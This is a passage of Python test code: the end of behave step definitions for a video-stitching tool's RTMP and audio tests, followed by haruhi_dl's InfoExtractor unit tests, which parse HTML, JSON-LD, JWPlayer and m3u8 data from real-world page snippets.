{}".format(bitrate, effective_bitrate) elif(str(order) == "around"): res = 0.95 * int(bitrate) < int(effective_bitrate) assert res, "expected value {}, but got {}".format(bitrate, effective_bitrate) res = 1.05 * int(bitrate) > int(effective_bitrate) assert res, "expected value {}, but got {}".format(bitrate, effective_bitrate) else: raise Exception("wrong comparator used {}. use lower/higher/around".format(order)) @then('I check the {field:S} of {filename:S} to be equal to {value:S}') def then_the_field_equal(ctx, filename, field, value): filename = osp.join(ASSETS, filename) ffprobe_output=helpers.get_ffprobe_audio_outputs("100000", filename) assert ffprobe_output.has_key("streams") key = field if field == "sampling_rate": key = "sample_rate" elif field == "sample_format": key = "sample_fmt" result = ffprobe_output["streams"][0][key] print("{} resulted {} different from the expected {}".format( field, result, value)) assert (result == value) @then('I check the video {field:S} of {filename:S} to be equal to {value:S}') def then_the_video_field_equal(ctx, filename, field, value): filename = osp.join(ASSETS, filename) ffprobe_output=helpers.get_ffprobe_video_outputs("100000", filename) assert ffprobe_output.has_key("streams") key = field result = ffprobe_output["streams"][0][key] print("{} resulted {} different from the expected {}".format( field, result, value)) assert (result == value) @then('The background process was successful') def then_background_process_sucess(ctx): ctx.cmd_background.join() assert ctx.res == 0, "background process failed (code {})".format(ctx.res) @then('I record the audio output during {duration:d} seconds in {wavfile:S}') def then_record_audio_of_rtmp(ctx, duration, wavfile): output_filename = osp.join(ASSETS, wavfile) stream = ctx.rtmp_stream helpers.record_audio_sample_from_broadcasting( stream, output_filename, duration) ctx.cmd_background.join() assert ctx.res == 0, "background process failed (code {})".format(ctx.res) @then(u'I expect the output audio channel map of {filename:S} to be "{channel_map}"') def then_check_channel_map(ctx, filename, channel_map): channel_map = channel_map.split(" ") c_map = [] for m in channel_map: c_map.append(int(m)) wavfile = osp.join(ASSETS, filename) f0 = 44100. / 2. / 512. resulted_channel_map = helpers.get_audio_channel_map(wavfile, f0) assert(len(resulted_channel_map) == len(c_map)) print('expected channel map {}'.format(c_map)) print('resulted channel map {}'.format(resulted_channel_map)) assert(resulted_channel_map == c_map) @then(u'I wait for {duration:d} seconds') def then_wait(ctx, duration): time.sleep(duration) @given(u'the RTMP stream is started with bandwidth limited to {bw:d} with {ptv:S} and "{args}"') def given_limited_rtmp_started_with(ctx, bw, ptv, args): random_seed = "".join(choice('0123456789') for i in range(6)) gen_file = osp.join(osp.join(ptv.split('/')[0], 'gen-rtmp-{}.ptv'.format( random_seed))) template_ptv = osp.join(ctx.utils, 'assets_ptv', ptv) ctx.stream_name = 'sinegen{}'.format(random_seed) ctx.rtmp_stream = 'rtmp://{}/audio_map_test/{}'.format( INTERNAL_RTMP_SERVER, ctx.stream_name) with open(osp.join(ctx.utils, 'assets_ptv', gen_file), 'w') as gen_ptv: with open(template_ptv,"r") as template_file: template = template_file.read() template = template.replace('##ADDRESS##', ctx.rtmp_stream) gen_ptv.write(template) if bw is None: control = None else: control = 'trickle -s -u {}'.format(bw) when_launch_control_cmd_background(ctx, control, 'videostitch-cmd', gen_file, args, from_repo=False) @given(u'the RTMP stream is started with {ptv:S} and "{args}"') def given_rtmp_started_with(ctx, ptv, args): given_limited_rtmp_started_with(ctx, None, ptv, args) @then('I copy the file from the wowza server') def then_rtmp_copy_stream(ctx): dwn_link = 'http://{}:1900/{}.mp4'.format(INTERNAL_RTMP_SERVER, ctx.stream_name) dwn_link = dwn_link.replace(" ", "") ctx.strem_file_path = osp.join(ASSETS, 'audio_channel_map/stream.mp4') ctx.wav_file_path = osp.join(ASSETS, 'audio_channel_map/output.wav') rsp = urllib2.urlopen(dwn_link) with open(ctx.strem_file_path,'wb') as f: f.write(rsp.read()) @then('I strip the audio from the recorded video file') def then_strip_wav_from_file(ctx): helpers.get_wave_from_video_file(ctx.strem_file_path, ctx.wav_file_path) os.remove(ctx.strem_file_path) @then('I expect program compilation to take less than {timeout:d} seconds') def then_check_opencl_cache(ctx, timeout): execution_time = time.time() - ctx.start_time assert_str = "execution took too long: {}s".format(execution_time) assert execution_time < float(timeout), assert_str @then('I expect the number of frames of the recorded video file to be {order:S} than {nb:d}') def then_nb_order_frame(ctx, order, nb): args = ["ffprobe", "-select_streams", "v", "-show_streams", ctx.strem_file_path] output = check_output(args) res = re.search(r'.*nb_frames=(\d+).*', output) if res: res = res.group(1) else: raise Exception("something went wrong with ffmpeg {}".format(output)) if (str(order) == "higher"): assert int(nb) < int(res), "expected more than {}, but got {}".format(nb, res) elif(str(order) == "lower"): assert int(nb) > int(res), "expected less than {}, but got {}".format(nb, res) else: raise Exception("wrong comparator used {}. use lower or higher".format(order)) @then('I expect the number of frames of {file_name:S} to be {nb:d}') def then_nb_frame(ctx, file_name, nb): file_name = osp.join(ASSETS, file_name) args = ["ffprobe", "-select_streams", "v", "-show_streams", file_name] output = check_output(args) res = re.search(r'.*nb_frames=(\d+).*', output) if res: res = res.group(1) else: raise Exception("something went wrong with ffmpeg {}".format(output)) assert int(res) == int(nb), "wrong number of frames {} != {}".format( res, nb) # }}}
test_InfoExtractor.py
#!/usr/bin/env python from __future__ import unicode_literals # Allow direct execution import io import os import sys import unittest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from test.helper import FakeHDL, expect_dict, expect_value, http_server_port from haruhi_dl.compat import compat_etree_fromstring, compat_http_server from haruhi_dl.extractor.common import InfoExtractor from haruhi_dl.extractor import YoutubeIE, get_info_extractor from haruhi_dl.utils import encode_data_uri, strip_jsonp, ExtractorError, RegexNotFoundError import threading TEAPOT_RESPONSE_STATUS = 418 TEAPOT_RESPONSE_BODY = "<h1>418 I'm a teapot</h1>" class InfoExtractorTestRequestHandler(compat_http_server.BaseHTTPRequestHandler): def log_message(self, format, *args): pass def do_GET(self): if self.path == '/teapot': self.send_response(TEAPOT_RESPONSE_STATUS) self.send_header('Content-Type', 'text/html; charset=utf-8') self.end_headers() self.wfile.write(TEAPOT_RESPONSE_BODY.encode()) else: assert False class TestIE(InfoExtractor): pass class TestInfoExtractor(unittest.TestCase): def setUp(self): self.ie = TestIE(FakeHDL()) def test_ie_key(self): self.assertEqual(get_info_extractor(YoutubeIE.ie_key()), YoutubeIE) def test_html_search_regex(self): html = '<p id="foo">Watch this <a href="http://www.youtube.com/watch?v=BaW_jenozKc">video</a></p>' search = lambda re, *args: self.ie._html_search_regex(re, html, *args) self.assertEqual(search(r'<p id="foo">(.+?)</p>', 'foo'), 'Watch this video') def test_opengraph(self): ie = self.ie html = ''' <meta name="og:title" content='Foo'/> <meta content="Some video's description " name="og:description"/> <meta property='og:image' content='http://domain.com/pic.jpg?key1=val1&amp;key2=val2'/> <meta content='application/x-shockwave-flash' property='og:video:type'> <meta content='Foo' property=og:foobar> <meta name="og:test1" content='foo > < bar'/> <meta name="og:test2" content="foo >//< bar"/> <meta property=og-test3 content='Ill-formatted opengraph'/> ''' self.assertEqual(ie._og_search_title(html), 'Foo') self.assertEqual(ie._og_search_description(html), 'Some video\'s description ') self.assertEqual(ie._og_search_thumbnail(html), 'http://domain.com/pic.jpg?key1=val1&key2=val2') self.assertEqual(ie._og_search_video_url(html, default=None), None) self.assertEqual(ie._og_search_property('foobar', html), 'Foo') self.assertEqual(ie._og_search_property('test1', html), 'foo > < bar') self.assertEqual(ie._og_search_property('test2', html), 'foo >//< bar') self.assertEqual(ie._og_search_property('test3', html), 'Ill-formatted opengraph') self.assertEqual(ie._og_search_property(('test0', 'test1'), html), 'foo > < bar') self.assertRaises(RegexNotFoundError, ie._og_search_property, 'test0', html, None, fatal=True) self.assertRaises(RegexNotFoundError, ie._og_search_property, ('test0', 'test00'), html, None, fatal=True) def test_html_search_meta(self): ie = self.ie html = ''' <meta name="a" content="1" /> <meta name='b' content='2'> <meta name="c" content='3'> <meta name=d content='4'> <meta property="e" content='5' > <meta content="6" name="f"> ''' self.assertEqual(ie._html_search_meta('a', html), '1') self.assertEqual(ie._html_search_meta('b', html), '2') self.assertEqual(ie._html_search_meta('c', html), '3') self.assertEqual(ie._html_search_meta('d', html), '4') self.assertEqual(ie._html_search_meta('e', html), '5') self.assertEqual(ie._html_search_meta('f', html), '6') self.assertEqual(ie._html_search_meta(('a', 'b', 'c'), html), '1') self.assertEqual(ie._html_search_meta(('c', 'b', 'a'), html), '3') self.assertEqual(ie._html_search_meta(('z', 'x', 'c'), html), '3') self.assertRaises(RegexNotFoundError, ie._html_search_meta, 'z', html, None, fatal=True) self.assertRaises(RegexNotFoundError, ie._html_search_meta, ('z', 'x'), html, None, fatal=True) def test_search_json_ld_realworld(self): # https://github.com/ytdl-org/youtube-dl/issues/23306 expect_dict( self, self.ie._search_json_ld(r'''<script type="application/ld+json"> { "@context": "http://schema.org/", "@type": "VideoObject", "name": "1 On 1 With Kleio", "url": "https://www.eporner.com/hd-porn/xN49A1cT3eB/1-On-1-With-Kleio/", "duration": "PT0H12M23S", "thumbnailUrl": ["https://static-eu-cdn.eporner.com/thumbs/static4/7/78/780/780814/9_360.jpg", "https://imggen.eporner.com/780814/1920/1080/9.jpg"], "contentUrl": "https://gvideo.eporner.com/xN49A1cT3eB/xN49A1cT3eB.mp4", "embedUrl": "https://www.eporner.com/embed/xN49A1cT3eB/1-On-1-With-Kleio/", "image": "https://static-eu-cdn.eporner.com/thumbs/static4/7/78/780/780814/9_360.jpg", "width": "1920", "height": "1080", "encodingFormat": "mp4", "bitrate": "6617kbps", "isFamilyFriendly": "False", "description": "Kleio Valentien", "uploadDate": "2015-12-05T21:24:35+01:00", "interactionStatistic": { "@type": "InteractionCounter", "interactionType": { "@type": "http://schema.org/WatchAction" }, "userInteractionCount": 1120958 }, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "88", "ratingCount": "630", "bestRating": "100", "worstRating": "0" }, "actor": [{ "@type": "Person", "name": "Kleio Valentien", "url": "https://www.eporner.com/pornstar/kleio-valentien/" }]} </script>''', None), { 'title': '1 On 1 With Kleio', 'description': 'Kleio Valentien', 'url': 'https://gvideo.eporner.com/xN49A1cT3eB/xN49A1cT3eB.mp4', 'timestamp': 1449347075, 'duration': 743.0, 'view_count': 1120958, 'width': 1920, 'height': 1080, }) def test_download_json(self): uri = encode_data_uri(b'{"foo": "blah"}', 'application/json') self.assertEqual(self.ie._download_json(uri, None), {'foo': 'blah'}) uri = encode_data_uri(b'callback({"foo": "blah"})', 'application/javascript') self.assertEqual(self.ie._download_json(uri, None, transform_source=strip_jsonp), {'foo': 'blah'}) uri = encode_data_uri(b'{"foo": invalid}', 'application/json') self.assertRaises(ExtractorError, self.ie._download_json, uri, None) self.assertEqual(self.ie._download_json(uri, None, fatal=False), None) def test_parse_html5_media_entries(self): # from https://www.r18.com/ # with kpbs in label expect_dict( self, self.ie._parse_html5_media_entries( 'https://www.r18.com/', r''' <video id="samplevideo_amateur" class="js-samplevideo video-js vjs-default-skin vjs-big-play-centered" controls preload="auto" width="400" height="225" poster="//pics.r18.com/digital/amateur/mgmr105/mgmr105jp.jpg"> <source id="video_source" src="https://awscc3001.r18.com/litevideo/freepv/m/mgm/mgmr105/mgmr105_sm_w.mp4" type="video/mp4" res="240" label="300kbps"> <source id="video_source" src="https://awscc3001.r18.com/litevideo/freepv/m/mgm/mgmr105/mgmr105_dm_w.mp4" type="video/mp4" res="480" label="1000kbps"> <source id="video_source" src="https://awscc3001.r18.com/litevideo/freepv/m/mgm/mgmr105/mgmr105_dmb_w.mp4" type="video/mp4" res="740" label="1500kbps"> <p>Your browser does not support the video tag.</p> </video> ''', None)[0], { 'formats': [{ 'url': 'https://awscc3001.r18.com/litevideo/freepv/m/mgm/mgmr105/mgmr105_sm_w.mp4', 'ext': 'mp4', 'format_id': '300kbps', 'height': 240, 'tbr': 300, }, { 'url': 'https://awscc3001.r18.com/litevideo/freepv/m/mgm/mgmr105/mgmr105_dm_w.mp4', 'ext': 'mp4', 'format_id': '1000kbps', 'height': 480, 'tbr': 1000, }, { 'url': 'https://awscc3001.r18.com/litevideo/freepv/m/mgm/mgmr105/mgmr105_dmb_w.mp4', 'ext': 'mp4', 'format_id': '1500kbps', 'height': 740, 'tbr': 1500, }], 'thumbnail': '//pics.r18.com/digital/amateur/mgmr105/mgmr105jp.jpg' }) # from https://www.csfd.cz/ # with width and height expect_dict( self, self.ie._parse_html5_media_entries( 'https://www.csfd.cz/', r''' <video width="770" height="328" preload="none" controls poster="https://img.csfd.cz/files/images/film/video/preview/163/344/163344118_748d20.png?h360" > <source src="https://video.csfd.cz/files/videos/157/750/157750813/163327358_eac647.mp4" type="video/mp4" width="640" height="360"> <source src="https://video.csfd.cz/files/videos/157/750/157750813/163327360_3d2646.mp4" type="video/mp4" width="1280" height="720"> <source src="https://video.csfd.cz/files/videos/157/750/157750813/163327356_91f258.mp4" type="video/mp4" width="1920" height="1080"> <source src="https://video.csfd.cz/files/videos/157/750/157750813/163327359_962b4a.webm" type="video/webm" width="640" height="360"> <source src="https://video.csfd.cz/files/videos/157/750/157750813/163327361_6feee0.webm" type="video/webm" width="1280" height="720"> <source src="https://video.csfd.cz/files/videos/157/750/157750813/163327357_8ab472.webm" type="video/webm" width="1920" height="1080"> <track src="https://video.csfd.cz/files/subtitles/163/344/163344115_4c388b.srt" type="text/x-srt" kind="subtitles" srclang="cs" label="cs"> </video> ''', None)[0], { 'formats': [{ 'url': 'https://video.csfd.cz/files/videos/157/750/157750813/163327358_eac647.mp4', 'ext': 'mp4', 'width': 640, 'height': 360, }, { 'url': 'https://video.csfd.cz/files/videos/157/750/157750813/163327360_3d2646.mp4', 'ext': 'mp4', 'width': 1280, 'height': 720, }, { 'url': 'https://video.csfd.cz/files/videos/157/750/157750813/163327356_91f258.mp4', 'ext': 'mp4', 'width': 1920, 'height': 1080, }, { 'url': 'https://video.csfd.cz/files/videos/157/750/157750813/163327359_962b4a.webm', 'ext': 'webm', 'width': 640, 'height': 360, }, { 'url': 'https://video.csfd.cz/files/videos/157/750/157750813/163327361_6feee0.webm', 'ext': 'webm', 'width': 1280, 'height': 720, }, { 'url': 'https://video.csfd.cz/files/videos/157/750/157750813/163327357_8ab472.webm', 'ext': 'webm', 'width': 1920, 'height': 1080, }], 'subtitles': { 'cs': [{'url': 'https://video.csfd.cz/files/subtitles/163/344/163344115_4c388b.srt'}] }, 'thumbnail': 'https://img.csfd.cz/files/images/film/video/preview/163/344/163344118_748d20.png?h360' }) # from https://tamasha.com/v/Kkdjw # with height in label expect_dict( self, self.ie._parse_html5_media_entries( 'https://tamasha.com/v/Kkdjw', r''' <video crossorigin="anonymous"> <source src="https://s-v2.tamasha.com/statics/videos_file/19/8f/Kkdjw_198feff8577d0057536e905cce1fb61438dd64e0_n_240.mp4" type="video/mp4" label="AUTO" res="0"/> <source src="https://s-v2.tamasha.com/statics/videos_file/19/8f/Kkdjw_198feff8577d0057536e905cce1fb61438dd64e0_n_240.mp4" type="video/mp4" label="240p" res="240"/> <source src="https://s-v2.tamasha.com/statics/videos_file/20/00/Kkdjw_200041c66f657fc967db464d156eafbc1ed9fe6f_n_144.mp4" type="video/mp4" label="144p" res="144"/> </video> ''', None)[0], { 'formats': [{ 'url': 'https://s-v2.tamasha.com/statics/videos_file/19/8f/Kkdjw_198feff8577d0057536e905cce1fb61438dd64e0_n_240.mp4', }, { 'url': 'https://s-v2.tamasha.com/statics/videos_file/19/8f/Kkdjw_198feff8577d0057536e905cce1fb61438dd64e0_n_240.mp4', 'ext': 'mp4', 'format_id': '240p', 'height': 240, }, { 'url': 'https://s-v2.tamasha.com/statics/videos_file/20/00/Kkdjw_200041c66f657fc967db464d156eafbc1ed9fe6f_n_144.mp4', 'ext': 'mp4', 'format_id': '144p', 'height': 144, }] }) # from https://www.directvnow.com # with data-src expect_dict( self, self.ie._parse_html5_media_entries( 'https://www.directvnow.com', r''' <video id="vid1" class="header--video-masked active" muted playsinline> <source data-src="https://cdn.directv.com/content/dam/dtv/prod/website_directvnow-international/videos/DTVN_hdr_HBO_v3.mp4" type="video/mp4" /> </video> ''', None)[0], { 'formats': [{ 'ext': 'mp4', 'url': 'https://cdn.directv.com/content/dam/dtv/prod/website_directvnow-international/videos/DTVN_hdr_HBO_v3.mp4', }] }) # from https://www.directvnow.com # with data-src expect_dict( self, self.ie._parse_html5_media_entries( 'https://www.directvnow.com', r''' <video id="vid1" class="header--video-masked active" muted playsinline> <source data-src="https://cdn.directv.com/content/dam/dtv/prod/website_directvnow-international/videos/DTVN_hdr_HBO_v3.mp4" type="video/mp4" /> </video> ''', None)[0], { 'formats': [{ 'url': 'https://cdn.directv.com/content/dam/dtv/prod/website_directvnow-international/videos/DTVN_hdr_HBO_v3.mp4', 'ext': 'mp4', }] }) # from https://www.klarna.com/uk/ # with data-video-src expect_dict( self, self.ie._parse_html5_media_entries( 'https://www.directvnow.com', r''' <video loop autoplay muted class="responsive-video block-kl__video video-on-medium"> <source src="" data-video-desktop data-video-src="https://www.klarna.com/uk/wp-content/uploads/sites/11/2019/01/KL062_Smooth3_0_DogWalking_5s_920x080_.mp4" type="video/mp4" /> </video> ''', None)[0], { 'formats': [{ 'url': 'https://www.klarna.com/uk/wp-content/uploads/sites/11/2019/01/KL062_Smooth3_0_DogWalking_5s_920x080_.mp4', 'ext': 'mp4', }], }) def test_extract_jwplayer_data_realworld(self): # from http://www.suffolk.edu/sjc/ expect_dict( self, self.ie._extract_jwplayer_data(r''' <script type='text/javascript'> jwplayer('my-video').setup({ file: 'rtmp://192.138.214.154/live/sjclive', fallback: 'true', width: '95%', aspectratio: '16:9', primary: 'flash', mediaid:'XEgvuql4' }); </script> ''', None, require_title=False), { 'id': 'XEgvuql4', 'formats': [{ 'url': 'rtmp://192.138.214.154/live/sjclive', 'ext': 'flv' }] }) # from https://www.pornoxo.com/videos/7564/striptease-from-sexy-secretary/ expect_dict( self, self.ie._extract_jwplayer_data(r''' <script type="text/javascript"> jwplayer("mediaplayer").setup({ 'videoid': "7564", 'width': "100%", 'aspectratio': "16:9", 'stretching': "exactfit", 'autostart': 'false', 'flashplayer': "https://t04.vipstreamservice.com/jwplayer/v5.10/player.swf", 'file': "https://cdn.pornoxo.com/key=MF+oEbaxqTKb50P-w9G3nA,end=1489689259,ip=104.199.146.27/ip=104.199.146.27/speed=6573765/buffer=3.0/2009-12/4b2157147afe5efa93ce1978e0265289c193874e02597.flv", 'image': "https://t03.vipstreamservice.com/thumbs/pxo-full/2009-12/14/a4b2157147afe5efa93ce1978e0265289c193874e02597.flv-full-13.jpg", 'filefallback': "https://cdn.pornoxo.com/key=9ZPsTR5EvPLQrBaak2MUGA,end=1489689259,ip=104.199.146.27/ip=104.199.146.27/speed=6573765/buffer=3.0/2009-12/m_4b2157147afe5efa93ce1978e0265289c193874e02597.mp4", 'logo.hide': true, 'skin': "https://t04.vipstreamservice.com/jwplayer/skin/modieus-blk.zip", 'plugins': "https://t04.vipstreamservice.com/jwplayer/dock/dockableskinnableplugin.swf", 'dockableskinnableplugin.piclink': "/index.php?key=ajax-videothumbsn&vid=7564&data=2009-12--14--4b2157147afe5efa93ce1978e0265289c193874e02597.flv--17370", 'controlbar': 'bottom', 'modes': [ {type: 'flash', src: 'https://t04.vipstreamservice.com/jwplayer/v5.10/player.swf'} ], 'provider': 'http' }); //noinspection JSAnnotator invideo.setup({ adsUrl: "/banner-iframe/?zoneId=32", adsUrl2: "", autostart: false }); </script> ''', 'dummy', require_title=False), { 'thumbnail': 'https://t03.vipstreamservice.com/thumbs/pxo-full/2009-12/14/a4b2157147afe5efa93ce1978e0265289c193874e02597.flv-full-13.jpg', 'formats': [{ 'url': 'https://cdn.pornoxo.com/key=MF+oEbaxqTKb50P-w9G3nA,end=1489689259,ip=104.199.146.27/ip=104.199.146.27/speed=6573765/buffer=3.0/2009-12/4b2157147afe5efa93ce1978e0265289c193874e02597.flv', 'ext': 'flv' }] }) # from http://www.indiedb.com/games/king-machine/videos expect_dict( self, self.ie._extract_jwplayer_data(r''' <script> jwplayer("mediaplayer").setup({"abouttext":"Visit Indie DB","aboutlink":"http:\/\/www.indiedb.com\/","displaytitle":false,"autostart":false,"repeat":false,"title":"king machine trailer 1","sharing":{"link":"http:\/\/www.indiedb.com\/games\/king-machine\/videos\/king-machine-trailer-1","code":"<iframe width=\"560\" height=\"315\" src=\"http:\/\/www.indiedb.com\/media\/iframe\/1522983\" frameborder=\"0\" allowfullscreen><\/iframe><br><a href=\"http:\/\/www.indiedb.com\/games\/king-machine\/videos\/king-machine-trailer-1\">king machine trailer 1 - Indie DB<\/a>"},"related":{"file":"http:\/\/rss.indiedb.com\/media\/recommended\/1522983\/feed\/rss.xml","dimensions":"160x120","onclick":"link"},"sources":[{"file":"http:\/\/cdn.dbolical.com\/cache\/videos\/games\/1\/50\/49678\/encode_mp4\/king-machine-trailer.mp4","label":"360p SD","default":"true"},{"file":"http:\/\/cdn.dbolical.com\/cache\/videos\/games\/1\/50\/49678\/encode720p_mp4\/king-machine-trailer.mp4","label":"720p HD"}],"image":"http:\/\/media.indiedb.com\/cache\/images\/games\/1\/50\/49678\/thumb_620x2000\/king-machine-trailer.mp4.jpg","advertising":{"client":"vast","tag":"http:\/\/ads.intergi.com\/adrawdata\/3.0\/5205\/4251742\/0\/1013\/ADTECH;cors=yes;width=560;height=315;referring_url=http:\/\/www.indiedb.com\/games\/king-machine\/videos\/king-machine-trailer-1;content_url=http:\/\/www.indiedb.com\/games\/king-machine\/videos\/king-machine-trailer-1;media_id=1522983;title=king+machine+trailer+1;device=__DEVICE__;model=__MODEL__;os=Windows+OS;osversion=__OSVERSION__;ua=__UA__;ip=109.171.17.81;uniqueid=1522983;tags=__TAGS__;number=58cac25928151;time=1489683033"},"width":620,"height":349}).once("play", function(event) { videoAnalytics("play"); }).once("complete", function(event) { videoAnalytics("completed"); }); </script> ''', 'dummy'), { 'title': 'king machine trailer 1', 'thumbnail': 'http://media.indiedb.com/cache/images/games/1/50/49678/thumb_620x2000/king-machine-trailer.mp4.jpg', 'formats': [{ 'url': 'http://cdn.dbolical.com/cache/videos/games/1/50/49678/encode_mp4/king-machine-trailer.mp4', 'height': 360, 'ext': 'mp4' }, { 'url': 'http://cdn.dbolical.com/cache/videos/games/1/50/49678/encode720p_mp4/king-machine-trailer.mp4', 'height': 720, 'ext': 'mp4' }] }) def test_parse_m3u8_formats(self): _TEST_CASES = [ ( # https://github.com/ytdl-org/youtube-dl/issues/11507 # http://pluzz.francetv.fr/videos/le_ministere.html 'pluzz_francetv_11507', 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/master.m3u8?caption=2017%2F16%2F156589847-1492488987.m3u8%3Afra%3AFrancais&audiotrack=0%3Afra%3AFrancais', [{ '_subtitle': { 'url': 'http://replayftv-pmd.francetv.fr/subtitles/2017/16/156589847-1492488987.m3u8', 'ext': 'vtt', 'protocol': 'm3u8', }, '_key': 'fra', }, { 'url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/index_0_av.m3u8?null=0', 'manifest_url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/master.m3u8?caption=2017%2F16%2F156589847-1492488987.m3u8%3Afra%3AFrancais&audiotrack=0%3Afra%3AFrancais', 'ext': 'mp4', 'format_id': '180', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.66.30', 'tbr': 180, 'width': 256, 'height': 144, }, { 'url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/index_1_av.m3u8?null=0', 'manifest_url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/master.m3u8?caption=2017%2F16%2F156589847-1492488987.m3u8%3Afra%3AFrancais&audiotrack=0%3Afra%3AFrancais', 'ext': 'mp4', 'format_id': '303', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.66.30', 'tbr': 303, 'width': 320, 'height': 180, }, { 'url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/index_2_av.m3u8?null=0', 'manifest_url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/master.m3u8?caption=2017%2F16%2F156589847-1492488987.m3u8%3Afra%3AFrancais&audiotrack=0%3Afra%3AFrancais', 'ext': 'mp4', 'format_id': '575', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.66.30', 'tbr': 575, 'width': 512, 'height': 288, }, { 'url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/index_3_av.m3u8?null=0', 'manifest_url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/master.m3u8?caption=2017%2F16%2F156589847-1492488987.m3u8%3Afra%3AFrancais&audiotrack=0%3Afra%3AFrancais', 'ext': 'mp4', 'format_id': '831', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.77.30', 'tbr': 831, 'width': 704, 'height': 396, }, { 'url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/index_4_av.m3u8?null=0', 'manifest_url': 'http://replayftv-vh.akamaihd.net/i/streaming-adaptatif_france-dom-tom/2017/S16/J2/156589847-58f59130c1f52-,standard1,standard2,standard3,standard4,standard5,.mp4.csmil/master.m3u8?caption=2017%2F16%2F156589847-1492488987.m3u8%3Afra%3AFrancais&audiotrack=0%3Afra%3AFrancais', 'ext': 'mp4', 'protocol': 'm3u8', 'format_id': '1467', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.77.30', 'tbr': 1467, 'width': 1024, 'height': 576, }] ), ( # https://github.com/ytdl-org/youtube-dl/issues/11995 # http://teamcoco.com/video/clueless-gamer-super-bowl-for-honor 'teamcoco_11995', 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', [{ 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-audio-160k_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': 'audio-0-Default', 'protocol': 'm3u8', 'vcodec': 'none', }, { 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-audio-64k_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': 'audio-1-Default', 'protocol': 'm3u8', 'vcodec': 'none', }, { 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-audio-64k_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': '71', 'protocol': 'm3u8', 'acodec': 'mp4a.40.5', 'vcodec': 'none', 'tbr': 71, }, { 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-400k_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': '413', 'protocol': 'm3u8', 'acodec': 'none', 'vcodec': 'avc1.42001e', 'tbr': 413, 'width': 400, 'height': 224, }, { 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-400k_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': '522', 'protocol': 'm3u8', 'acodec': 'none', 'vcodec': 'avc1.42001e', 'tbr': 522, 'width': 400, 'height': 224, }, { 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-1m_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': '1205', 'protocol': 'm3u8', 'acodec': 'none', 'vcodec': 'avc1.4d001e', 'tbr': 1205, 'width': 640, 'height': 360, }, { 'url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/hls/CONAN_020217_Highlight_show-2m_v4.m3u8', 'manifest_url': 'http://ak.storage-w.teamcococdn.com/cdn/2017-02/98599/ed8f/main.m3u8', 'ext': 'mp4', 'format_id': '2374', 'protocol': 'm3u8', 'acodec': 'none', 'vcodec': 'avc1.4d001f', 'tbr': 2374, 'width': 1024, 'height': 576, }] ), ( # https://github.com/ytdl-org/youtube-dl/issues/12211 # http://video.toggle.sg/en/series/whoopie-s-world/ep3/478601 'toggle_mobile_12211', 